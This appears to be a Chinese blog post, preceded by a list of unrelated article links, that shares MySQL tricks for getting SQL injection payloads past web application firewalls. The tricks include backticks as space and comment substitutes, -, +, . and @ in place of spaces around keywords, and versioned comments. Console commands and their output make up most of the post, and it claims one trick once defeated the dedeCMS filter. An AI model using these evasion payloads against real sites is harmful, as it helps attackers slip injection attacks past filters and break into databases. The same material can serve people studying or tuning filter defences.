- 1基于YOLOv8的人员跌倒实时检测系统【训练和系统源码+Pyside6+数据集+包运行】_人员摔倒检测数据集
- 2《天下强汉》3、强汉骄子，双星闪耀——卫青霍去病的华美人生_西汉 黄义
- 3GIT安装教程（入门）
- 4高效利用Java代码混淆技术加固应用程序安全防线_java代码混淆工具csdn
- 5【AI视野·今日Robot 机器人论文速览 第五十六期】Tue, 17 Oct 2023_navigation with large language models: semantic gu
- 6APP+springboot订餐APP 毕业设计-附源码190711_app中那些使用spring boot框架
- 7多益网络前端笔试题整理
- 8【无标题】Git操作—— git add --all、git add.、git add * 的区别_git add all
- 9mysql 空间索引_Mysql空间索引
- 10（三）丶RabbitMQ的四种类型交换机_rabbit交换机类型
mysql绕过waf_waf绕过的技巧
赞
踩
研究过国内外的waf。分享一些 奇淫绝技。
一些大家都了解的技巧如：/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql
tips1: 神奇的 ` (格式输出表的那个控制符)
过空格和一些正则。
mysql> select`version`()
-> ;
+----------------------+
| `version`() |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)
一个更好玩的技巧，这个`控制符可以当注释符用(限定条件)。
mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
usage : where id ='0'`'xxxxcomment on.
tips2:神奇的- + .
mysql> select id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
(有些人不是一直在说关键字怎么过？过滤一个from ... 就是这样连起来过)
tips3: @
mysql> select@^1.from qs_admins;
+------|+
| @^1. |
+------|+
| NULL |
+------|+
这个是bypass 曾经dedeCMS filter .
或者这样也是ok.
tips4：mysql function() as xxx 也可以不用as 和空格
mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in set (0.00 sec)
tips5:/*![>5000]*/ 新构造 版本号(这个可能有些过时了。)
mysql> /\*!40000select\*/ id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
先分享这么多，哈。
